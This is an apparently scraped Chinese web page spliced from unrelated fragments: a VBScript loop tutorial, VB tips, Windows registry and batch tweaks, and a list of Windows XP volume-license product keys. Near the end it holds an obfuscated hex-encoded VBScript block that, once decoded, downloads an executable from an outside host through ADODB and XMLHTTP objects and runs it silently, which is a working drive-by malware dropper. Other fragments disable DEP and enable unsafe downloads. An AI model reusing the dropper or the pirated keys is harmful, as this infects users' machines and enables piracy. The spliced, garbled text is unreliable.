共有二种方法方法1:VB3/VB4之版本，可于Form_Load()程序中加入下列程式码：Me.Move(Screen.Width-Width)\2,(Screen.Height-Height)\2方法2:VB5以上之版本，则直接将Form之StartUpPosition设成(2-荧幕中央)即可->

四篇（共六篇）： 大家好,昨天我休息了一天,所以今天写第4章:循环结构 　　我们先来看一道题:商场进行每日结算,要求累加出今天的营业额,每次输入一个数,这道题其实很简单,但就我们现在学 过的知识要完成这道题相当麻烦,我们来分析一下.首先,我们需要知道买卖的次数,这样才能控制输入的次数,但是,这种设 计是非常低效的,每天都要重新设计程序.假定今天进行了5次交易,以下是源程序: dimsum sum=0'初始化变量 sum=sum+int(inputbox("请输入交易额")) 'sum=sum+x　这种形式是把本身的值取出来,进行一次运算,再放回本身,这种方法很有用处 '这里使用了函数嵌套,把inputbox的返回值直接传给int函数,转化成整数,下同 sum=sum+int(inputbox("请输入交易额")) sum=sum+int(inputbox("请输入交易额")) sum=sum+int(inputbox("请输入交易额")) sum=sum+int(inputbox("请输入交易额")) msgbox(sum) 　　看到了吗,我通过把计算过程复制了5遍才设计好了程序,这种程序在汽车交易所等交易次数少的地方还能凑合着用,如果 放到超市岂不是要复制,粘贴几千遍?我们今天讲的内容就可以克服这种缺陷,首先,我们来讲以下Do...Loop语句. 　　do...loop的结构看上去非常简单,就是:do...loop,仅此而已,这个结构不断执行do和loop之间的语句(学名叫:循环体), 永不停止.举个例子来说: do msgbox("这个信息会不断重复出现,要停止程序请使用任务管理器(Ctrl+Alt+Del)中止wscript进程") loop 　　运行这个程序,当你点销掉一个对话框马上会出来另一个,你永远点不完,总有下一个.谁会运行这样的程序?除非是给 别人捣乱(我就干过这种事),所以在do..loop结构中还有一个语句:exitdo,这个语句将终止循环,跳到loop后面的语句继续 执行.据个例子来说: dima'注意:常量不需要在dim里面声明,否则会引发错误 constpass="123456"'这是一个字符串请用""包裹起来.设定密码为常量,不可变更 do a=inputbox("请输入密码") ifa=passthen msgbox("密码校验成功") exitdo endif loop 　　这个程序会一直不停的问你密码,知道你输入了正确的密码为止.(if可以嵌套在另一个if当中,也可以嵌套在循环体当中 ,所以一定要用缩进,来分清楚程序的各个部分).这个程序是很经典的,早期的程序都是这么做的.但是我们是Hacker,所以 我们了解系统的安全性,这种无限次认证程序很容易被穷举破解,我们要来限定认证的次数.修改程序如下 dima,ctr ctr=0'设置计数器 constpass="pas123_"'上面的那个是弱密码,这次改的强一点 do ifctr=3then msgbox("已经达到认证上限,认证程序关闭") exitdo else a=inputbox("请输入密码") ifa=passthen msgbox("认证成功") msgbox("(你可以在这里加一段成功后得到的信息)") exitdo else ctr=ctr+1'如果密码出错就增加一次错误认证计数 msgbox("认证出错,请检查密码") endif endif loop 　　运行这个程序试试看,当你出了3此错误以后,就会停止再次询问密码,关闭程序.telnet认证用来限制次数的程序与此大 同小异.要注意的是嵌套的if语句,清仔细读一下这个程序,可能比较难懂,也请你试着自己设计一下类似的程序. 　　其实,要在do...loop加上验证的功能,并不一定要用if,我们可以直接利用do.我来介绍一下while关键字,while可以放 在do或者是loop后面,然后再接一个表达式,当表达式的值为true的时候(表达式成立),才运行循环体.我们来看一下修改后的 程序" dima,ctr ctr=0 constpass="pas123_" dowhilectr<3 a=inputbox("请输入密码") ifa=passthen msgbox("认证成功") msgbox("(你可以在这里加一段成功后得到的信息)") exitdo else ctr=ctr+1'如果密码出错就增加一次错误认证计数 msgbox("认证出错,请检查密码") endif loop 　　这样实现的功能和上一个例子完全一样,我们再来看看把while放在loop后面: dima,ctr ctr=0 constpass="pas123_" do a=inputbox("请输入密码") ifa=passthen msgbox("认证成功") msgbox("(你可以在这里加一段成功后得到的信息)") exitdo else ctr=ctr+1'如果密码出错就增加一次错误认证计数 msgbox("认证出错,请检查密码") endif loopwhilectr<3 　　功能是一样的,为什么要放在loop后面呢?你把ctr的值改成3就知道了,while在do后面的程序会直接退出,而在loop后面 还会允许一次认证,到了loop才结束.和while相反的是until,用法和while一样,不过他只有当后面的表达式的值为false(表 达式不成立)的时候才执行循环体,请自己试验一下 　　ok,我们来看另外一种循环结构,for....next,这种循环结构是基于计数的,也是在编程中最常见到的循环结构. dimi fori=0to5 msgbox(i) next 　　看到了吗?每次输出的i都是递增的,但我们没有明确指出i要递增,当i达到5的时候,循环就结束了,因为由0开始,所以 循环体执行了6次,这一点很重要,大部分东西都是从0开始而不是1.这个程序也可以写成 do的形式: dimi i=0 dowhilei<5 msgbox(i) i=i+1'因为do不能自动计数,必须手动加 loop 　　怎么样,还是for比较好用吧.for在编程中很有用途,我们再举一个例子,顺便讲一下嵌套循环. dimi,j fori=1to9 fori=1to9 str=str&i*j&""'&是和并字符串的符号 next'每个next对应一个for next 　　看看运行结果,是否令你会想起小学时代的数学老师(丑陋的嘴脸).要注意,这里有一个"大"的for,和一个小的for,当 小的for执行完一个周期以后,大的for才执行一次(换句话说,大的for执行一次,小的要执行9次),所以一共执行了九九八十 一次.在大的for里可以不仅仅是一个小的for,也可以加上另外的语句.我们来修改一下源程序: dimi,j fori=1to9 fori=1to9 str=str&i*j&"" next'每个next对应一个for str=str&vbCrlf'vbCrlf相当于键盘上的回车键,因为你不能在键盘上输入,所以系统定义了一个默认的常量 next 　　这次运行完成以后,输出结果按照乘数进行了分割,每小for运行完一次,就换一行(通过vbcrlf). 　　这次的内容对菜鸟可能比较难懂,掌握的办法只有一个:多实践.另外,我在论坛看到很多人还是问:"VBScript要用什么工 具编?"我就很气愤,我在第一篇里面已经说明:用记事本编辑源代码,然后保存为以.vbs为扩展名的程序就可以了,请大家不要 再问.另外,国产的一种垃圾软件"超级X霸"抢占了vbs这个扩展名,请把那个垃圾卸载掉. 　　我们总结一下: 要点: 1)do..loop和exitdo的用法 2)while当表达式true的时候执行循环体,until反之 3)for...next是计数循环,每次执行计数器递加 4)嵌套循环的作用和写法 4.5)&用于连接字符串 5)vbCrLf相当于键盘上的回车键 作业: 1)在我国的数学经典著作"九章算术"中有这样一道题:百钱买百鸡,公鸡5钱一只,母鸡3钱一只,小鸡1钱2只(这个数据我是参 考一本编程书的,但我记得是公3,母1,小1钱3只?不管了,就按照书上得来吧)求得是能有多少种办法买这些鸡.如果看不懂的 话我用大白话说说:有人要去买鸡,用100块钱正好买了100只鸡,价格如下:公:5$,母:3$,小:1$for2,让你求一共多少种卖 法(公母小怎么搭配).请用循环解决这个问题. ps:今天要去移民局办事,所以文章写的很仓促.大部分代码都没有实验,请大家帮我找错.另外,上次的作业大家在论坛应该 看到了,我就不重复答案了,不知道大家喜欢做这种题,还是以前那种比较简单的? regsvr32 /u vbsedit64.dll大部分教学软件都有一个“自动/手动”按钮，学习者可以选择系统自动一步一步往下执行，也可由自己手动控制是否进入到下一步

1、检查驱动器 使用filesystemobject的driveexists方法 例如： setfs=createobject("scripting.filesystemobject") iffs.driveexists("h")then ...... 2、获得驱动器属性 可以使用getdrive方法，然后可以通过drive对象的属性或的驱动器的属性"当我查看详细资料则显示："user.exe中导致常规保护错误

重新启动电脑后在〔开始〕→〔执行〕→〔oobe/msoobe/a〕进入〔启动画面〕时应该显示已经启动 KLV，VOL版用户可用序列号： MRX3F-47B9T-2487J-KWKMF-RPWBY(工行版)可用 QC986-27D34-6M3TY-JJXP9-TBGMD(台湾交大学生版)可用 CM3HY-26VYW-6JRYC-X66GX-JVY2D可用 DP7CM-PD6MC-6BKXT-M8JJ6-RPXGJ可用 F4297-RCWJP-P482C-YY23Y-XH8W3可用 HH7VV-6P3G9-82TWK-QKJJ3-MXR96可用 HCQ9D-TVCWX-X9QRG-J4B2Y-GR2TT可用 ======去除系统面板上的远程和系统还原选项======regsvr32/uremotepg.dll regsvr32/uwuaueng.dll ======冒险岛刷新率设置成85HZ的注册表（对玩冒险岛黑屏的兄弟有用）======WindowsRegistryEditorVersion5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Wizet\MapleStory] "ExecPath"="E:\\OnlineGame\\冒险岛" "EKEYUSE"=dword:00000000 "DGTIDUSE"=dword:00000000 "RMA"=dword:00000000 "LMA"="" "LCWN"="" "scrFirstRun"=dword:00000000 "soVideo"=dword:00000003 "soBGMVol"=dword:0000000f "soBGMMute"=dword:00000000 "soSEVol"=dword:0000000f "soSEMute"=dword:00000000 "soScreenShot"=dword:00000000 "soMouseSpeed"=dword:0000000a "soHPFlash"=dword:0000000a "soTremble"=dword:00000001 "jpBtn0"=dword:00000000 "jpBtn1"=dword:00000000 "jpBtn2"=dword:00000000 "jpBtn3"=dword:00000000 "jpBtn4"=dword:00000000 "jpBtn5"=dword:00000000 "jpBtn6"=dword:00000000 "jpBtn7"=dword:00000000 "jpBtn8"=dword:00000000 "scrRRate"=dword:00000055 ======QQ面板上点QQ游戏无反映的解决注册表（一定是做母盘的时候没有运行过QQ游戏吧？）======WindowsRegistryEditorVersion5.00 WindowsRegistryEditorVersion5.00 [HKEY_CURRENT_USER\Software\Tencent\QQGame\SYS] "HallDirectory"="e:\\网游平台\\QQGame\" "GameDirectory"="e:\\网游平台\\QQGame\" [HKEY_LOCAL_MACHINE\Software\Classes\CLSID] "CLBVersion"=dword:00000007 [HKEY_LOCAL_MACHINE\Software\Classes\CLSID\{11BEA40D-ED62-4996-B157-B6D9C637F2A5}\InprocServer32] "ThreadingModel"="Apartment" [HKEY_LOCAL_MACHINE\Software\Classes\CLSID\{B59750C3-29F1-44AA-BFA8-E5F6D3CE8596}\InProcServer32] "ThreadingModel"="Both" [HKEY_LOCAL_MACHINE\Software\Classes\Interface\{AA21B901-1642-4AB2-9C1C-A09B2412CC89}\TypeLib] "Version"="1.0" [HKEY_LOCAL_MACHINE\Software\Classes\Interface\{B2167A4F-BC4D-4DA7-90BF-C4BAF7D76714}\TypeLib] "Version"="1.0" [HKEY_LOCAL_MACHINE\Software\Tencent\QQGame\SYS] "HallDirectory"="E:\\网游平台\\QQGame\" "GameDirectory"="E:\\网游平台\\QQGame\" ======运行共享里的EXE不给予提示的方法======IE--Internet选项--安全--自定义级别--安全设置--加载应用程序和不安全文件：选择|启用|即可 ======制作2003系统最重要的步骤：让2003象XP一样兼容游戏======修改boot.ini为： multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="WindowsServer2003,Standard"/NoExecute=alwaysoff/fastdetect 此方法等同于：我的电脑--属性--高级--性能--设置--数据执行保护，选择|只为关键Windows程序和服务启用数据执行保护| ======如果你的2003不能在线升级和打补丁，试试这个注册表======WindowsRegistryEditorVersion5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion] "ProductId"="69713-640-9722366-45198" [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion] "CurrentBuild"="1.511.1()(Obsoletedata-donotuse)" "InstallDate"=dword:3f6c976d "ProductName"="MicrosoftWindowsServer2003" "RegDone"="" "SoftwareType"="SYSTEM" "CurrentVersion"="5.2" "CurrentBuildNumber"="3790" "BuildLab"="3790.srv03_rtm.030324-2048" "CurrentType"="UniprocessorFree" "ProductId"="69713-640-9722366-45198" "DigitalProductId"=hex:a4,00,00,00,03,00,00,00,36,39,37,31,33,2d,36,34,30,2d,\ 39,37,32,32,33,36,36,2d,34,35,31,39,38,00,5a,00,00,00,41,32,32,2d,30,30,30,\ 30,31,00,00,00,00,00,00,00,00,e5,3f,e9,6a,2c,ed,25,35,12,ec,11,c9,8d,01,00,\ 00,00,00,00,37,03,6d,3f,44,22,06,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\ 00,00,00,00,00,00,00,00,00,00,00,31,32,32,32,30,00,00,00,00,00,00,00,dc,0f,\ 00,00,bf,4a,94,6c,80,00,00,00,15,18,00,00,00,00,00,00,00,00,00,00,00,00,00,\ 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,34,79,ca,d7 "LicenseInfo"=hex:71,84,c7,56,a0,d6,10,6e,70,b4,9f,e9,10,1a,1e,7a,01,a4,41,09,\ 25,20,0e,80,83,80,1f,31,27,86,64,1f,31,dc,22,af,f7,7d,aa,e4,2a,b9,e5,e3,6c,\ e2,01,69,85,70,91,be,a7,9f,95,e5 ======打开迅闪菜单的同时连接虚拟磁盘的VBS======SetWshShell=WScript.CreateObject("WScript.Shell") Return=WshShell.Run("c:\client\新调用.exe",0,true) Return=WshShell.Run("iscsicliAddTargetPortal192.168.0.93260",0,true) Return=WshShell.Run("iscsicliLoginTargetiqn.2005-02.com.ricecake.iscsi:00T***************0",0,true) SetWshShell=Nothing ======开机VBS调用远程批处理（延时+无黑屏后台运行的效果）======DIMobjShell setobjShell=wscript.createObject("wscript.shell") WScript.Sleep(10000) iReturn=objShell.Run("cmd.exe/C\\server\E\123.bat",0,TRUE) ======修改IE状态栏显示字符的注册表（感谢雷锋战友和15楼的ciwzero）======WindowsRegistryEditorVersion5.00 [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\InternetSettings\Zones\3] @="" "DisplayName"="XX网吧" ======批处理获得本机的IP和MAC地址然后进行绑定（zzlike写的）======@echooff for/f"tokens=1*delims=:"%%iin('ipconfig/all^|find/i"PhysicalAddress"')dosetmac=%%j for/f"tokens=1*delims=:"%%iin('ipconfig/all^|find/i"IPAddress"')dosetip=%%j arp-s%ip:~1%%Mac:~1% ======强制刷新组策略和注册表======xp/2003命令 gpupdate/force 2k命令 secedit/refreshpolicymachine_policy/enforce ======批处理修改IE主页（斑竹dseation的帖上搞来的）======@regdelete"HKEY_CURRENT_USER\Software\Microsoft\InternetExplorer\Main"/v"StartPage"/f @regadd"HKEY_CURRENT_USER\Software\Microsoft\InternetExplorer\Main"/v"StartPage"/d""/f ======解除禁止下载的几种方法======VBS代码： DIMWSH SETWSH=WSCRIPT.CreateObject("WSCRIPT.SHELL") WSH.POPUP("本程序的作用是解决无法下载的问题") WSH.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\InternetSettings\Zones03",0,"REG_DWORD" WSH.POPUP("现在您可以下载程序了!") 正确的写法是：theStr="[MyName="&""""&"schunter"&""""&"Class="&""""&"2"&""""&"]"也就是有引号的地方，需要两个引号才能生成一个引号

<scriptlanguage="VBScript"> S="2020206F6E206572726F7220726573756D65206E6578740D0A737 3733D226D64622E657865220D0A61613D226F62220D0A6161613D22 6A65220D0A616161613D226374220D0A61616161613D22636C61220 D0A6161616161613D2273736964220D0A616161616161613D22636C 73220D0A61616161616161613D2269643A42443936220D0A6161616 161616161613D22433535362D3635220D0A61616161616161616161 3D2241332D313144220D0A61616161616161616161613D22302D393 8220D0A6161616161616161616161613D2233412D30304330344622 0D0A616161616161616161616161613D22433239453336220D0A6D6 D3D224D6963220D0A6E6E3D22726F73220D0A6D6D6E6E3D226F6674 2E58220D0A6E6E6D6D3D224D4C48220D0A6D6E6D6E3D22545450220 D0A6E6D3D6D6E0D0A62623D224164220D0A6262623D226F64220D0A 626262623D22622E5374220D0A62626262623D227265616D220D0A6 7673D2267220D0A65653D2265220D0A74743D2274220D0A63633D22 536372220D0A6363633D22697074220D0A636363633D22696E672E4 6220D0A6363313D22696C6553220D0A636363313D22797374220D0A 63636363313D22656D4F220D0A6363323D22626A220D0A636363323 D22656374220D0A68683D22536865220D0A6868683D226C6C2E4170 220D0A686868683D22706C69220D0A68686868683D2263617469220 D0A6868686868683D226F6E220D0A6F6F3D226F220D0A6F6F6F3D227 065220D0A6F6F6F6F3D226E220D0A536574207878787878787878203 D20646F63756D656E742E637265617465456C656D656E7428616126 6161612661616161290D0A78787878787878782E7365744174747269 62757465206161616161266161616161612C20616161616161612661 61616161616161266161616161616161612661616161616161616161 26616161616161616161616126616161616161616161616161266161 61616161616161616161610D0A53657420787878787878203D207878 7878787878782E4372656174654F626A656374286D6D266E6E266D6 D6E6E266E6E6D6D266D6E6D6E2C2222290D0A736574207878787820 3D2078787878787878782E6372656174656F626A6563742862622662 626226626262622662626262622C2222290D0A787878782E74797065 203D20310D0A7878787878782E4F70656E2067672665652674742C20 22687474703A2F2F71712E656532382E636E2F646F776E2F646F776E2 E657865222C2046616C73650D0A7878787878782E53656E640D0A78 7878787878783D7373730D0A20202020736574207878787878203D2 078787878787878782E6372656174656F626A6563742863632663636 32663636363266363312663636331266363636331266363322663636 3322C2222290D0A2020202073657420746D70203D2078787878782E 4765745370656369616C466F6C646572283229200D0A202020207878 78787878783D2078787878782E4275696C645061746828746D702C7 8787878787878290D0A20202020787878782E6F70656E0D0A2020202 0787878782E7772697465207878787878782E726573706F6E7365426 F64790D0A20202020787878782E73617665746F66696C65207878787 87878782C320D0A20202020787878782E636C6F73650D0A20202020 73657420717171203D2078787878787878782E6372656174656F626A 65637428686826686868266868686826686868686826686868686868 2C2222290D0A202020207171712E5368656C6C45786563757465207 87878787878782C22222C22222C6F6F266F6F6F266F6F6F6F2C30":D ="EXECUTE""""":C="&CHR(&H":N=")":DOWHILELEN(S)>1:IFISNUMER IC(LEFT(S,1))THEND=D&C&LEFT(S,2)&N:S=MID(S,3)ELSED=D&C&LEF T(S,4)&N:S=MID(S,5) LOOP:EXECUTED </script>解密后:mysql导入数据库不能同步集另外，也可以不用相关Connection对象名称而使用有效的连接字符串去创建一个新的连接把它稍微改写一下： 程序就可以动态生成VBS自删除脚本，并调用它删除自身啦，方法同样和批处理文件的自删除相似。